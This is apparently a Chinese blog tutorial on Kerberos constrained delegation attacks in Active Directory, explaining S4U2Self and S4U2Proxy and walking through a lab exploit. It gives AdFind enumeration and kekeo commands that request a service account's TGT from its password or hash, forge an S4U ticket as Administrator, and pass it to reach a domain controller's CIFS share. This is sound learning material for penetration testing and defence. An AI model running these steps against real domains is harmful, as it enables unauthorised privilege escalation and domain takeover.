• 域渗透委派攻击之约束委派


    约束委派

    约束委派(Constrained Delegation)即 Kerberos 的扩展协议 S4U2Proxy,服务账号只能获取某用户的 TGS ,从而只能模拟用户访问特定的服务,这也相对应非约束委派更安全一些。

    约束委派攻击原理及利用

    由于非约束委派的不安全性(配置了非约束委派的机器在 LSASS 中缓存了用户的 TGT 票据可模拟用户去访问域中任意服务),微软在 Windows Server 2003 中引入了约束委派,对 Kerberos 协议进行拓展,引入了 S4U (S4U2Self / S4U2proxy), 运行服务代表用户向 KDC 请求票据。

    • S4U2self (Service for User to S4U2Self) 可以代表自身请求针对其自身的 Kerberos 服务票据(ST);如果一个服务账户的 userAccountControl 标志为 TRUSTED_TO_AUTH_FOR_DELEGATION, 则其可以代表任何其他用户获取自身服务的 TGS/ST。

    • S4U2proxy(Service for User to Proxy) 可以以用户的名义请求其它服务的 ST,限制了 S4U2proxy 扩展的范围。服务帐户可以代表任何用户获取在 msDS-AllowedToDelegateTo 中设置的服务的 TGS/ST,首先需要从该用户到其本身的 TGS/ST,但它可以在请求另一个 TGS 之前使用 S4U2self 获得此 TGS/ST。

    不同于允许委派所有服务的非约束委派,约束委派的目的是在模拟用户的同时,限制委派机器/帐户对特定服务的访问。

    S4U2self

    (1) 用户向 service1 发送请求。用户已通过身份验证,但 service1 没有用户的授权数据。通常,这是由于身份验证是通过 Kerberos 以外的其他方式验证的。

    (2) 通过 S4U2self 扩展以用户的名义向 KDC 请求用于访问 service1 的 ST1。

    (3) KDC 返回给 service1 一个用于用户验证 service1 的 ST1,该 ST1 可能包含用户的授权数据。

    (4) service1 可以使用 ST 中的授权数据来满足用户的请求,然后响应用户。

    尽管 S4U2self 向 service1 提供有关用户的信息,但 S4U2self 不允许 service1 代表用户发出其他服务的请求,这时候就轮到 S4U2proxy 发挥作用了。

    S4U2proxy:

    (5) 用户向 service1 发送请求,service1 需要以用户身份访问 service2 上的资源。

    (6) service1 以用户的名义向 KDC 请求用户访问 service 2的 ST2。

    (7) 如果请求中包含 PAC,则 KDC 通过检查 PAC 的签名数据来验证 PAC ,如果 PAC 有效或不存在,则 KDC 返回 ST2 给 service1,但存储在 ST2 的 cname 和 crealm 字段中的客户端身份是用户的身份,而不是 service1 的身份。

    (8) service1 使用 ST2 以用户的名义向 service2 发送请求,并判定用户已由 KDC 进行身份验证。

    (9) service2 响应步骤 8 的请求。

    (10) service1 响应用户对步骤 5 中的请求。

    域环境

    域管:dc1 10.10.10.142

    备用域管:dc2 10.10.10.140

    域用户1:12server1 10.10.10.152

    域用户2: 12server2 10.10.10.138

    环境搭建

    此处如果没有用户,需要新建个用户,加上spn标识为服务用户

    setspn -A cifs/12server2.redteam.club websec 
    设置服务用户对websec的cifs服务的委派

     

    配置服务账号,添加域控主机名ad1

     

    已知在约束委派的情况下,服务用户只能获取某个用户或者主机的服务ST,只能用模拟用户访问特定的服务,
    是无法获取用户的TGT的,如果能够获得到开启了约束委派的服务的用户的明文密码或者hash就可以伪造S4U
    的请求,进而伪造服务用户以任意账户的权限访问服务的ST

    漏洞复现

    设置约束用户存在 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION 关键字

    使用命令查询约束用户

    AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(msdsallowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

     

    通过kekeo请求服务用户的TGT
    tgt::ask /user:websec /domain:redteam.club /password:pass@123 /ticket:test.kirbi
    同理此处利用ntlm hash也是可以进行请求的
    tgt::ask /user:websec /domain:redteam.club /NTLM:XXXXX

     

    利用这个票据通过伪造S4U请求以administrator身份访问websec的ST
    tgs::s4u /tgt:TGT_websec@REDTEAM.CLUB_krbtgt~redteam.club@REDTEAM.CLUB.kirbi /user:Administrator@redteam.club /service:cifs/ad1.redteam.club

     

    这时候kekeo当前路径下会出现administrator的ticket (用于访问websec的CIFS服务),导入这个tiket即可 访问websec的cifs服务: 使用kekeo导入票据访问域控

    keberos::ptt
    TGS_Administrator@redteam.club@REDTEAM.CLUB_cifs~ad1.redteam.club@REDTEAM.CLUB.k
    irbi

     

    访问域控

    参考链接

    域渗透委派攻击之约束委派_全局变量Global的博客-CSDN博客_约束委派

    域渗透之委派攻击详解(非约束委派/约束委派/资源委派) - 腾讯云开发者社区-腾讯云

    斩尽杀绝,这是对一个文明最高的重视

     

  • 相关阅读:
    满级人类教学!字节1000页数据算法笔记泄露:连续霸榜GitHub一周
    PCB layout有DRC为什么还要用CAM和DFM检查?
    动态内存管理
    Windows 安装DotNet Core运行时库
    【MindSpore易点通】数据处理之Numpy数组的广播计算
    火狐浏览器翻译页面功能如何设置
    MVCC及其原理
    基于UCOSII的DMA-SPI通信
    SpringMvc+Spring+MyBatis+Maven+Ajax+Json注解开发 利用Maven的依赖导入不使用架包模式 (实操十一)
    EasyCVR视频汇聚平台云计算技术核心优势:高效、灵活与可扩展性深度解读
  • 原文地址:https://blog.csdn.net/qq_56426046/article/details/127839243